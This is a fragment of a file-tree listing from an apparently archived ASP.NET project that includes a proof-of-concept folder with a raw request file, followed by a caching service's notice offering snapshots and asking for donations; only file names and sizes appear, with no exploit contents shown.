Site.Master.designer.cs │   ├── [ 858] Site.Mobile.Master │   ├── [ 330] Site.Mobile.Master.cs │   ├── [1.7K] Site.Mobile.Master.designer.cs │   ├── [ 238] UserInfo.cs │   ├── [ 269] ViewSwitcher.ascx │   ├── [1.6K] ViewSwitcher.ascx.cs │   ├── [ 448] ViewSwitcher.ascx.designer.cs │   ├── [2.6K] Web.config │   ├── [1.3K] Web.Debug.config │   └── [1.4K] Web.Release.config ├── [4.0K] img │   ├── [538K] calc.jpg │   ├── [332K] code.jpg │   └── [451K] repo.jpg ├── [4.0K] poc │   └── [1.2K] request.raw └── [1.9K] README.md 113 directories, 397 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.